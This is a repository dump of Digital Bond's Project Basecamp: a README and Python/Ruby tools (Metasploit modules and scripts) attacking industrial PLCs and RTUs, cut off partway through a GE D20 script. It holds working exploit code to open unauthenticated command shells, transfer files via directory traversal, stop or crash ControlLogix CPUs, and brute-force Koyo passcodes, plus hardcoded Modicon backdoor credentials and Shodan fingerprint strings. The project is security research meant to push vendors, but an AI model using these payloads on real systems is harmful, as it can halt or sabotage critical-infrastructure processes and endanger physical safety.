├── LICENSE ├── README.md ├── codesys-shell.py ├── codesys-transfer.py ├── ethernetip-multi.rb ├── ged20cmd.py ├── ged20telnet-fp.py ├── ged20tftp.rb └── koyobrute.rb /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Digital Bond 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Project Basecamp 2 | Metasploit modules developed to demonstrate insecure by design PLC's as part of Project Basecamp. See [Dale Peterson's Introduction to Basecamp Video](https://www.youtube.com/watch?v=BKJje3Ram2I&t=9s) 3 | 4 | Project Basecamp is a research effort by Digital Bond and a team of volunteer researchers to highlight and demonstrate the fragility and insecurity of most SCADA and DCS field devices, such as PLC's and RTU's. 5 | 6 | The goal of Project Basecamp is to make the risk of these fragile and insecure devices so apparent and easy to demonstrate that a decade of inaction will end. SCADA and DCS owner/operators will demand a secure and robust PLC, and this will drive vendors to finally provide a product worthy of being deployed in the critical infrastructure. 7 | 8 | The PLC / RTU that are part of this project are: 9 | - [3S CoDeSys](http://github.com/digitalbond/Basecamp#3s-codesys) 10 | - [GE D20](http://github.com/digitalbond/Basecamp#ge-d20-rtu) 11 | - [Koyo / DirectLOGIC](http://github.com/digitalbond/Basecamp#koyo-directlogic) 12 | - [Rockwell Automation ControlLogix](http://github.com/digitalbond/Basecamp#rockwell-automation-controllogix) 13 | - [Schneider Electric Modicon](http://github.com/digitalbond/Basecamp#schneider-electric-modicon) 14 | 15 | ## The Reason: A Firesheep Moment for PLC's 16 | 17 | Everyone knows PLC's are vulnerable --- or so we have heard for ten years now since the 9/11 attacks focused attention on DCS and SCADA security. Not only do they lack basic security features, they are also fragile. Warnings abound about the dangers of even running a port scan on a PLC. Yet even though "everyone knows" there has been little or no progress on developing even the option of purchasing a secure and robust PLC. 18 | 19 | After this lost decade, Digital Bond decided to stop trying the same failed approach and the result is Project Basecamp. We looked for parallel situations in security where a serious problem was known, not addressed for a long time, and then something triggered a change. The best example we found is Firesheep. 20 | 21 | In 2007/2008 there were numerous presentations at security events showing how a twitter, facebook, gmail or other HTTP session could be hijacked because the cookies were not encrypted. It got some buzz at a security events and technical web sites, but no action to address the vulnerability. 22 | 23 | In October of 2010 Eric Butler created Firesheep, an easy to use Firefox extension that hijacked an HTTP session. Anyone who could use a browser could hijack Facebook or Twitter sessions in a coffee shop. Shortly after that the vendors took action and made mandatory HTTPS an option and eventually the default. 24 | 25 | Project Basecamp is attempting to be a Firesheep Moment for PLC's. The team has, not surprisingly, found many vulnerabilities in the PLC's, but perhaps more importantly have identified "insecure by design" issues that are actually much easier to leverage to affect the availability and integrity of a process. 26 | 27 | The key to making this a Firesheep Moment for PLC's is providing tools so any engineer, IT type, security professional or anyone with a bit of computer skill can demonstrate just how fragile and vulnerable these PLC's are. It's beyond, PLC's are vulnerable. Basecamp provides the tools to show an executive just how easy it is to take down the SCADA or DCS. 28 | 29 | ## The Basecamp Team 30 | 31 | Reid Wightman of Digital Bond leads the Basecamp team. He performed the work on two of the devices and coordinated the results with the rest of the research team. The other Project Basecamp team members are: 32 | 33 | - Dillon Beresford 34 | - Jacob Kitchel 35 | - Ruben Santamarta 36 | - Anonymous 1 37 | - Anonymous 2 38 | 39 | ##3S CoDeSys 40 | 41 | ### Background 42 | 43 | 3S Software Gmbh produces the CoDeSys ladder logic system. CoDeSys is used by 261 manufacturers to execute ladder logic on their PLCs, motorized drive controllers, and other industrial controllers. 44 | 45 | CoDeSys has several components: a graphical Integrated Development Environment (IDE) for writing ladder logic on a PC and transferring the resultant logic to a PLC, a web server for PCs for retrieving and visualizing data from PLCs, and a ladder logic runtime engine for receiving the ladder logic from a PC and executing it. 46 | 47 | ### Our Focus 48 | 49 | We focused on the ladder logic runtime engine specifically as seen on the WAGO IPC 758-870 model PLC, although all makes and models of CoDeSys PLCs appear to be affected. The ladder logic runtime is provided by 3S-Software and can be run on many operating systems including Nucleus RTOS, embedded Linux, Windows CE, etc. The WAGO happens to run embedded Linux on an x86 CPU, and also allows Telnet and FTP access, making it a nice target for evaluation. The WAGO linux kernel includes a complete filesystem and many programs allowing for a good exercising of CoDeSys’ capabilities. 50 | 51 | ### Runtime Functionality 52 | 53 | The CoDeSys runtime does a lot of things. Obviously its main purpose is to run ladder logic. Ladder logic is executed in the form of a wrapped binary, compiled for the operating system and CPU of the PLC. The ladder logic file contains a header followed by binary executable code. The CoDeSys ladder logic engine loads the file into memory, and then jumps into that memory and begins executing instructions contained in the file. This is important when we consider the privileges that CoDeSys often runs with, and its lack of authentication for file transfer. 54 | 55 | The CoDeSys runtime has ancillary functions as well. It offers a TCP listener service, often running on TCP/1200 (although TCP/1201 and TCP/2455 are observed on other controller types). The TCP listener service allows for file transfer as well as a command-line interface. 56 | 57 | Neither the command-line interface nor the file transfer functionality requires authentication. The CoDeSys runtime engine needs to access /dev devices on embedded Linux and writes to an output bus (K-Bus, which is connected over a PCI interface in the WAGO). As a consequence, manufacturers often run the ladder logic runtime as ‘root’ (on linux systems), ‘administrator’ (on embedded windows), or run it on an operating system which does not provide deprivileged users. 58 | 59 | The result of all of this is that a user with the right know-how can connect to the command-line of CoDeSys and execute commands, as well as transfer files. Commands include the ability to stop and start the running ladder logic, wipe PLC memory, and list files and directories. Transferring files include the ability to send and receive. Sending and receiving files also suffers from directory traversal — we can read and write files outside of the CoDeSys directory on the controller using “../” notation. On most operating systems this includes the ability to overwrite critical configuration files such as /etc/passwd and /etc/shadow on linux, or the windows registry on Windows CE. 60 | 61 | The ladder logic runtime file is transferred in conjunction with a 32-bit checksum. The 32-bit checksum is computed by adding the bytes of the runtime file together, and treating the result as a 32-bit integer. The ladder logic runtime transfer is mostly implemented in this release; a missing command is required to make the new ladder logic upload active on the PLC. 62 | 63 | ### The Tools 64 | 65 | We have produced three tools for interacting with PLCs that run CoDeSys. The first tool is a command-shell utility. This allows an unauthenticated user the ability to perform privileged operations, sans password. It is the equivalent of running the “PLC – Browser” function from the CoDeSys desktop software, but does not assert vendor checks normally performed by the CoDeSys software — CoDeSys will normally fail to connect to a PLC and offer this option without properly licensed plugins. 66 | 67 | The commands available vary by PLC, so type “?” to get a list of options. 68 | 69 | The second tool is a file transfer tool which allows for reading and writing files on controllers with a filesystem. Again, this tool bypasses the only protections that CoDeSys provides — vendor-specific checks that ensure we’re communicating with the right kind of PLC. 70 | 71 | ![codesys-shell.py connecting to a Wago controller](https://www.digitalbond.com/wp-content/uploads/2012/10/Codesys-shell-local.png) 72 | 73 | These tools come in the form of Python scripts. The hastily-written code isn’t terribly legible (blame Reid) but works quite well on a wide variety of controllers. They can easily be ported to be Metasploit modules, and could be made to run the Meterpreter shell on supported operating systems. 74 | 75 | ### The Source 76 | 77 | - [codesys-shell.py](https://github.com/digitalbond/Basecamp/blob/master/codesys-shell.py) 78 | 79 | - [codesys-transfer.py](https://github.com/digitalbond/Basecamp/blob/master/codesys-transfer.py) 80 | 81 | ##GE D20 RTU 82 | ### Background 83 | The General Electric D20ME is a widely used in the electric sector, particularly in substations. It is an ancient device with a CPU chip from 1987, actually a similar chip that was in the Macintosh II line, and a PSOS operating system that was end of support in 1999. It even had an old fashioned UV EPROM. All this obsolete technology cost $15,000 for an entry level version with just a couple of cards. The good news is that GE has come out with a new, modern version of the D20 called the D20MX. 84 | 85 | Our blunt advice – don’t deploy any new GE D20s and develop a plan to replace all of your GE D20s with new MX models or some competitive product as soon as practical. 86 | 87 | ### Metasploit Modules 88 | 89 | All of the Metasploit modules are available in Rapid7’s Metasploit feed. 90 | 91 | #### d20tftpbd – General Electric D20ME Asynchronous Command Line 92 | 93 | This module automates a “feature” in the D20 that allows a user to send via TFTP a MONITOR:command.log file. The D20 will execute all of the commands in that file, and then return the results to the Monitor:response.log file. 94 | 95 | This is very unusual and what Reid calls asynchronous command line — and there is no authentication. An attacker could craft a set of attack commands in a file and TFTP it to one or more GE D20’s. 96 | 97 | The d20tftpbd module automates the process and the Metasploit users appears to have an interactive command line interface to the GE D20. Try typing the help command to see all the commands that can be run from this asynchronous command line interface. 98 | 99 | This is an experimental module available in Metasploit’s testing branch. The module works fine, but it is so unusual that Rapid7 is trying to figure out the best way to include it in the framework. 100 | 101 | #### d20pass – General Electric D20ME Credential Recovery 102 | 103 | This module retrieves and displays the account usernames and passwords from the GE D20 device configuration. The credentials can be used to perform any action on the device, including changing ladder logic. The credentials are just part of the plaintext configuration file that is downloaded. An attacker would have complete information on the process and the ability to make any changes. 104 | 105 | #### d20_tftp_overflow – General Electric D20ME TFTP Server Buffer Overflow DoS 106 | 107 | The D20 has numerous buffer overruns in its TFTP server. This module exploits the TFTP Server transfer-mode overflow and results in a denial of service condition on the D20. If successful you will see “TFTP – DoS complete, the D20 should fault after a timeout.” A reboot of the D20 is required to recover. 108 | 109 | The filename also suffers from an overrun but seems unlikely to be exploitable. 110 | 111 | ### Easy Scripts 112 | 113 | [ged20cmd.py](https://github.com/digitalbond/Basecamp/blob/master/ged20cmd.py) – A python script that provides an interactive command-line to the D20’s tftp backdoor command line. Please read the comments in the header — this requires a new’ish python tftp library to work correctly — the version of the tftp library for python included with most major linux distros (Backtrack, Ubuntu, etc) is too old to work correctly. 114 | 115 | This is the same capability provided in the d20tftpbd Metasploit module. 116 | 117 | ### Buffer Overflow Tools 118 | 119 | [ged20tftp.rb](https://github.com/digitalbond/Basecamp/blob/master/ged20tftp.rb) – This module crashes the D20 tftp service. The operating system catches the exception, but the damage is done — all processes are stopped and the D20’s network stack is disabled. 120 | 121 | ### Fingerprinting Tools 122 | 123 | [ged20telnet-fp.py](https://github.com/digitalbond/Basecamp/blob/master/ged20telnet-fp.py) – This is a generic telnet service fingerprinting tool, which may be used against any controller which supports the telnet protocol. It actively tries all telnet options against the remote host, to determine what options are supported. This may crash some controllers, so use it with care. 124 | 125 | ##Koyo DirectLOGIC 126 | ### Background 127 | The Koyo / DirectLOGIC product line is a much lower cost PLC as compared to the GE, Rockwell Automation and Schneider Quantum products in Project Basecamp. It is less likely to be seen in the critical infrastructure SCADA and DCS, but it is widely used in smaller plants and systems in a variety of industry sectors 128 | 129 | The Basecamp team focused on the ECOM Ethernet module as this is the most accessible interface for a cyber attack. The ECOM module is an attractive target for an adversary. In S4 2009 Digital Bond demonstrated how unauthenticated firmware could be uploaded to the device. 130 | 131 | In Project Basecamp, the anonymous researcher found ladder logic upload and download is only protected by a seven-digit passcode, that can be brute-forced. The webserver allows configuration of the Ethernet module only, but lacks any authentication and has cross-site scripting issues as well as denial-of-service issues. In particular, requesting invalid pages such http://koyodevice/foo.htm will result the in the webserver going offline for several minutes. 132 | 133 | ### Metasploit Module 134 | [koyobrute.rb](https://github.com/digitalbond/Basecamp/blob/master/koyobrute.rb) – This Metasploit module will bruteforce a Koyo password. It is likely that this will work against other devices from Automation Direct which support the DirectNet (aka HAP) protocol. 135 | 136 | With the recovered password an attacker can download ladder logic to learn about the project, modify the ladder logic to affect the availability or integrity of the process, and upload rogue ladder logic. 137 | 138 | ### Fingerprinting Tools 139 | The Koyo is difficult to fingerprint due to its limited services. The web server provides no fingerprintable data (no Server: identifier). The Modbus protocol supports no odd function codes. The device may be located on active search engines such as ERIPP by searching for information contained in its web pages. 140 | 141 | ##Rockwell Automation ControlLogix 142 | ### Background 143 | The Rockwell Automation / Allen-Bradley ControlLogix is a full featured PLC used in a variety of different industry sectors. It is most common in the manufacturing sector, but it is also used in many other industries for ad hoc processes. For example in power plants it is used not in the main DCS but is often seen in balance of plant systems. 144 | 145 | The ControlLogix has separate CPU and Ethernet modules. Architecturally, the system appears similar to the Schneider Modicon Quantum. The Ethernet module offers a far smaller attack surface than the Schneider device. Some effort appears to have gone into securing the device from the vendor, but protocol issues were uncovered. 146 | 147 | This device was tested by volunteer independent researcher Rubén Santamarta. 148 | 149 | ### Metasploit Module 150 | [ethernetip-multi.rb](https://github.com/digitalbond/Basecamp/blob/master/ethernetip-multi.rb) – This Metasploit module has four possible payloads. The first two payloads highlight the EtherNet/IP protocol “insecure by design” issue. 151 | 152 | - Stop CPU – just like it sounds, this will take the ControlLogix out of service 153 | - Reboot Ethernet Controller – a temporary outage of the ControlLogix Ethernet interface 154 | 155 | There are many more request commands in the EtherNet/IP protocol that cause availability and integrity issues with the ControlLogix PLC. None of these commands are authenticated. This problem and attack will be effective on any EtherNet/IP device including other systems manufactured by Rockwell Automation, Schneider, Wago, and others. 156 | 157 | The ODVA is responsible for the EtherNet/IP protocol and shows 300 vendors using the protocol. Unbelievably the ODVA has not even begun an effort to add basic security to the protocol. Vendors may need to look at tunnels or wrappers until ODVA starts taking integrity and availability seriously. Not all of the payloads will work for all devices, but approximately 300 vendors will be affected. 158 | 159 | The two other payloads are due to protocol stack errors in the ControlLogix. This will also affect any other equipment that uses the same protocol stack. 160 | 161 | - Crash the PLC CPU 162 | - Crash the Ethernet Controller 163 | 164 | ##Schneider Electric Modicon 165 | ### Background 166 | The Schneider Electric Modicon Quantum is a versatile PLC used in a wide variety of sectors including manufacturing, water/wastewater, oil and gas, chemical and more. It has a modular architecture so the size and cost can vary a great deal. The very basic Quantum pictured at the left cost $11,000 including the Unity software. 167 | 168 | The Modicon Quantum Ethernet card is an embedded system running vxWorks 5.4 on a PowerPC processor (MPC870). The PLCs CPU module sports an x86 processor (the device tested in Basecamp had a 80486). Reid Wightman was the lead Project Basecamp researcher on this PLC, and he also developed the Metasploit Modules. 169 | 170 | ### Metasploit Modules 171 | The Modicon Metasploit Modules are in the Metasploit Framework. 172 | #### [modicon_command](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb) – Schneider Modicon Remote Start/Stop Command 173 | 174 | The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to perform administrative commands without authentication. 175 | 176 | This module allows a remote user to change the state of the PLC between STOP and RUN. STOP will stop the CPU and will stop the PLC from monitoring and controlling the process. The CPU can be restarted with the RUN command. 177 | 178 | #### [modicon_password_recovery](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_password_recovery.rb) – Schneider Modicon Quantum Password Recovery 179 | 180 | This Metasploit module retrieves the user-definable login names and passwords to a Schneider Modicon Quantum PLC and stores them in the Metasploit database. It uses a hard coded backdoor account to retrieve the account information via FTP (see ‘Backdoors’ below for a list of possible account names and passwords). Most account information is stored in plaintext. 181 | 182 | Three types of credentials are currently retrieved by the modicon_password_recovery module: one is a username and password for the Modicon webserver login, and a second is just a password, which allows control operations to be performed via the web interface (called the ‘Write password’). 183 | 184 | The third is a user-definable ftp account, the password of which is protected by the easily-cracked vxWorks loginDefaultEncrypt() hashing function. Recovering this password can be accomplished with the Metasploit framework’s vxworks password cracking tools. Note that the tool may give a ‘plaintext’ version of the password with non-ASCII characters. This is fine — these passwords may be used to log in to the device (although they won’t be typeable on a keyboard and will have to be used programmatically). 185 | 186 | #### [modicon_stux_transfer](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb) – Schneider Modicon Ladder Logic Upload/Download 187 | 188 | The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to send and receive ladder logic. The protocol is unauthenticated, and allows a rogue host to retrieve the existing logic and to upload new logic. 189 | 190 | Two modes are supported: “SEND” and “RECV,” which behave as one might expect — use ‘set mode ACTIONAME’ to use either mode of operation. 191 | 192 | In either mode, FILENAME must be set to a valid path to an existing file (for SENDing) or a new file (for RECVing), and the directory must already exist. The default, ‘modicon_ladder.apx’ is a blank ladder logic file which can be used for testing. It will overwrite existing ladder logic on the PLC. 193 | 194 | This is the same PLC attack methodology as Stuxnet, hence stux in the module name. An attacker would need to gain access to PLC ladder logic, which is possible with the RECV mode in this module. The attacker would then determine how they want to change the process and code the corresponding ladder logic. Then the attacker would upload his rogue ladder logic using the SEND mode in this module. 195 | 196 | ### Fingerprinting 197 | The Quantum series may be found on search engines such as Shodan and ERIPP using the Server: identifier “Schneider-WEB”. 198 | 199 | ### Backdoors 200 | The Quantum also contains a large number of backdoor accounts. For example following accounts may be used to log in to the Ethernet card via telnet and ftp: 201 | 202 | ftpuser/password 203 | 204 | qbf77101/hexakisoctahedron 205 | 206 | When demonstrating the modicon_password_recovery metasploit module, it may be necessary to try several of these accounts. The exact backdoor account names and passwords vary between the different Ethernet module order numbers. 207 | -------------------------------------------------------------------------------- /codesys-shell.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import socket 4 | 5 | # Codesys-shell.py, Copyright 2012 Digital Bond, Inc 6 | # All praise to be attributed to Dale Peterson 7 | # All bugs and gripes to be attributed to K. Reid Wightman 8 | 9 | 10 | # Takes integer, returns endian-word 11 | def little_word(val): 12 | packed = struct.pack('h', val) 17 | return packed 18 | 19 | def connect(host, port): 20 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | s.connect((host, port)) 22 | s.send("\xbb\xbb\x01\x00\x00\x00\x01") 23 | try: 24 | data = s.recv(1024) 25 | print "Debug: connected!" 26 | except: 27 | print "Debug: connection failed...:(" 28 | exit(1) 29 | return s 30 | 31 | def send_cmd(s, cmd): 32 | wrapcmd = "\x92\x00\x00\x00\x00" + cmd + "\x00" 33 | cmdlen = len(wrapcmd) 34 | data = "\xcc\xcc\x01\x00" + little_word(cmdlen) + ("\x00"*10) + "\x01" + "\x00" * 3 + "\x23" + little_word(cmdlen) + "\x00" + wrapcmd 35 | # data = "\xcc\xcc\x01" + big_word(cmdlen+1+4) + ("\x00"*11) + "\x01" + "\x00" * 3 + "\x23" + little_word(cmdlen) + "\x00" + wrapcmd 36 | 37 | s.send(data) 38 | responsefinished = False 39 | respdata = "" 40 | while responsefinished != True: 41 | try: 42 | receive = s.recv(1024) 43 | if len(receive) < 30: 44 | continue 45 | # If it is 0x04, then we received the last response packet to our request 46 | # Technically we shouldn't add this most recently received data to our payload, 47 | # Since it's equivalent to a dataless FIN 48 | if receive[27] == "\x04": 49 | responsefinished = True 50 | # Note that *sometimes* we have data in a 0x04 response packet! 51 | # continue 52 | # This is a hack, as with recv_file2 in the codesys-file transfer stuff 53 | #respdata += receive[30:] + "\n" 54 | print receive[31:] 55 | #print "Debug: Received response! -> ", receive 56 | # Acknowledge and request more data 57 | # Acknowledgement requires that we say which response packet we received, 58 | # Response packet number is at offset 28...it's really a little word, but I'm treating 59 | # it as a byte foolishly :). 60 | # First part of acknowledge is sidechannel comms using fc 6666 61 | ack1 = "\x66\x66\x01" + "\x00" * 13 + "\x01\x00\x00\x00\x06\x00\x00\x00" 62 | s.send(ack1) 63 | garbage = s.recv(1024) 64 | # the second part of acknowledge says we received the last cccc frame and we're ready for another 65 | # This hack doesn't work for big commands like dpt, ppt which have more than 256 responses! 66 | acknum = struct.unpack(' " 83 | exit(1) 84 | 85 | s = connect(sys.argv[1], int(sys.argv[2])) 86 | while True: 87 | print "> ", 88 | #try: 89 | myinput = raw_input() 90 | send_cmd(s, myinput) 91 | #except: 92 | # print "Debug: Caught signal, exiting..." 93 | # exit(0) 94 | 95 | -------------------------------------------------------------------------------- /codesys-transfer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | import struct 4 | 5 | # Codesys-transfer.py, Copyright 2012 Digital Bond, Inc 6 | # All praise to be attributed to Dale Peterson 7 | # All bugs and gripes to be attributed to K. Reid Wightman 8 | 9 | # Takes integer, returns endian-word 10 | def little_word(val): 11 | packed = struct.pack(' Last block!" 60 | done = True 61 | blocknum += 1 62 | filedata += data[30:] # note: the data block does have two length fields at offsets 4 and 28 (little-endian words) but I ignore them 63 | print "Received block ", blocknum, " total bytes so far ", len(filedata) 64 | print "Debug: --> ", 65 | for byte in data[30:]: 66 | print hex(ord(byte)), 67 | print 68 | if done != True: 69 | # I found that sending these requests between blocks is a good idea. 70 | # It might not be necessary, though... 71 | # It's identical to the 'Resp' variable above. 72 | M5 = "\x66\x66\x01" + "\x00" * 13 + "\x01\x00\x00\x00\x06\00\x00\x00" 73 | s.send(M5) 74 | resp = s.recv(BUFFER_SIZE) 75 | # This is the actual request meaning 'the last block you sent was okay, send the next one' 76 | M6 = "\xcc\xcc\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x23\x01\x00\x00\x32" 77 | s.send(M6) 78 | rep = s.recv(BUFFER_SIZE) 79 | s.close() 80 | # Finally write the fruits of our labour out to local disk 81 | outfile = open(lfilename, 'rb') 82 | outfile.write(filedata) 83 | outfile.close() 84 | 85 | 86 | def send_file(host, port, lfilename, rfilename): 87 | BUFFER_SIZE = 1024 88 | BLOCK_SIZE = 1024 89 | # See recv_file2 for explanations of these first frames 90 | M1 = "\xbb\xbb\x01\x00\x00\x00\x01" 91 | M2 = "\xbb\xbb\x02\x00\x00\x00\x51\x10" 92 | # first block 93 | # May want to look for buffer overflows here in things like file length, packet length, etc. 94 | # Applying packet structure above: BBBB, Packet length, options, command (0x2f, 0x01), 0x00 is a null terminator? 95 | M3 = lambda x, y: "\xbb\xbb" + struct.pack('h', len(x) + len(y) + 2) + "\x00" + x + "\x00\xcd" + y 96 | # continuation block (block 2..n-1) 97 | # The last bytes before the data "\x00\x04" are actually the length of the continuation block 98 | # 1024 bytes in the normal case (little-endian) 99 | # Note \x00\x04 is the payload size (little-endian payload == 1024 byte blocks). 100 | # May want to look for buffer overflows here 101 | # M4 = lambda x: "\xbb\xbb\x04\x04\x00\x00\x30\x01\x00\x04" + x 102 | M4 = lambda x: "\xbb\xbb" + struct.pack('h', len(x) + len(y) + 2) + "\x00" + x + "\x00\xcd" + y 169 | # continuation block (block 2..n-1) 170 | # The last bytes before the data "\x00\x04" are actually the length of the continuation block 171 | # 1024 bytes in the normal case (little-endian) 172 | # Note \x00\x04 is the payload size (little-endian payload == 1024 byte blocks). 173 | # May want to look for buffer overflows here 174 | # M4 = lambda x: "\xbb\xbb\x04\x04\x00\x00\x30\x01\x00\x04" + x 175 | M4 = lambda x: "\xbb\xbb" + struct.pack(' " 253 | exit(1) 254 | 255 | if sys.argv[1] == "send": 256 | send_file(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5]) 257 | elif sys.argv[1] == "recv": 258 | recv_file2(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5]) 259 | elif sys.argv[1] == "sendlogic": 260 | if len(sys.argv) < 6: 261 | print "Usage: " + sys.argv[0] + " " 262 | exit(1) 263 | send_logic(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5], sys.argv[6]) 264 | else: 265 | print "Usage: " + sys.argv[0] + " " 266 | print " ::= send | recv | sendlogic (note sendlogic sends two files, please specify the checksum name)" 267 | exit(1) 268 | -------------------------------------------------------------------------------- /ethernetip-multi.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Auxiliary 4 | include Msf::Exploit::Remote::Tcp 5 | include Rex::Socket::Tcp 6 | def initialize(info={}) 7 | super(update_info(info, 8 | 'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP commands', 9 | 'Description' => %q{ 10 | The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which 11 | implements the protocol. This module implements the CPU STOP command, as well as 12 | the ability to crash the Ethernet card in an affected device. 13 | }, 14 | 'Author' => ['Ruben Santamarta ', 15 | 'K. Reid Wightman '], 16 | 'License' => MSF_LICENSE, 17 | 'Version' => '$Revision: 1 $', 18 | 'DisclosureDate'=> 'Jan 19 2012')) 19 | register_options( 20 | [ 21 | Opt::RHOST('127.0.0.1'), 22 | Opt::RPORT(44818), 23 | OptString.new('ATTACK', [true, "The attack to use. Valid values: STOPCPU, CRASHCPU, CRASHETHER", "STOPCPU"]) 24 | ], self.class 25 | ) 26 | end 27 | 28 | def forgepacket(sessionid, payload) 29 | packet = "" 30 | packet += "\x6f\x00" # command: Send request/reply data 31 | packet += [payload.size - 0x10].pack("v") # encap length (2 bytes) 32 | packet += [sessionid].pack("N") # session identifier (4 bytes) 33 | packet += payload #payload part 34 | begin 35 | sock.put(packet) 36 | rescue ::Interrupt 37 | print_error("Interrupt during payload") 38 | raise $! 39 | rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused 40 | print_error("Network error during payload") 41 | return nil 42 | end 43 | end 44 | 45 | def reqsession 46 | packet = "" 47 | packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes) 48 | packet += "\x04\x00" # encaph_length (2 bytes) 49 | packet += "\x00\x00\x00\x00" # session identifier (4 bytes) 50 | packet += "\x00\x00\x00\x00" # status code (4 bytes) 51 | packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes) 52 | packet += "\x00\x00\x00\x00" # options flags (4 bytes) 53 | packet += "\x01\x00" # proto (2 bytes) 54 | packet += "\x00\x00" # flags (2 bytes) 55 | begin 56 | sock.put(packet) 57 | response = sock.get_once(-1,8) 58 | session_id = response[4..8].unpack("N")[0] # bare minimum of parsing done 59 | print_status("Got session id: 0x0"+session_id.to_s(16)) 60 | rescue ::Interrupt 61 | print_error("Interrupt during session negotation") 62 | raise $! 63 | rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused 64 | print_error("Network error during session negotiation") 65 | return nil 66 | end 67 | return session_id 68 | end 69 | 70 | def cleanup 71 | disconnect 72 | end 73 | 74 | def run 75 | payload = "" 76 | attack = datastore["ATTACK"] 77 | case attack 78 | when "STOPCPU" 79 | payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]- 80 | "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1 81 | "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2 82 | "\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3 83 | when "CRASHCPU" 84 | payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + 85 | "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" + 86 | "\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00" 87 | when "CRASHETHER" 88 | payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" + 89 | "\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43" 90 | when "RESETETHER" 91 | payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" + 92 | "\x05\x03\x20\x01\x24\x01\x30\x03" 93 | else 94 | print_error("Invalid attack option. Choose STOPCPU, CRASHCPU, CRASHETHER, or RESETETHER") 95 | return 96 | end 97 | connect 98 | sid = reqsession 99 | if sid 100 | forgepacket(sid, payload) 101 | end 102 | end 103 | end 104 | -------------------------------------------------------------------------------- /ged20cmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # The GE D20 (and possibly other GE D series) use a backdoor tftp command channel using two special files 4 | # To issue a command, send a file "MONITOR:command.log" to the target. 5 | # To read the command response, retrieve the file "MONITOR:response.log" 6 | # The file command.log must be formatted as follows: 7 | # (\x0d\x0a)*\x00 8 | # More than one command may be issued in a single request file 9 | # if more than one command is sent, each command must be ended with a \x0d\x0a. The file 10 | # must be terminated with a \x00. 11 | # Fuzzing of this format will probably yield bugs in the command parser. In particular, 12 | # the input length for a single command should be checked. Note that you shouldn't try to get 13 | # other filenames on the D20 (they cause crashes). 14 | # 15 | # 16 | # Please note: 17 | # This program requires version 0.6.0 or higher of tftpy. Ubuntu and other debian distros only include up 18 | # to 0.5.1 via their package management systems. 19 | # version 0.5.1 will give you various errors... 20 | 21 | import tftpy 22 | import time 23 | 24 | # Get the MONITOR:response.log file from the D20 25 | # Note that some commands have extremely long timeouts. You will receive a permissions error 26 | # if the command hasn't finished executing yet. Dumping large amounts of memory or using network 27 | # commands (such as PING) will usually cause these delays. 28 | def getResponse(host): 29 | client = tftpy.TftpClient(host, 69) 30 | try: 31 | client.download('MONITOR:response.log', '/tmp/m68kresp') 32 | except: 33 | print "Error encountered with command, please wait 10 seconds for the D20 to respond" 34 | time.sleep(10) 35 | try: 36 | client.download('MONITOR:response.log', '/tmp/m68kresp') 37 | except: 38 | print "No response after 10 seconds. You may have manually retrieve MONITOR:response.log" 39 | print "Do this by typing '::get' on the command prompt" 40 | return 41 | respfile = open("/tmp/m68kresp",'r') 42 | lines = respfile.readlines() 43 | counter = 0 44 | for line in lines: 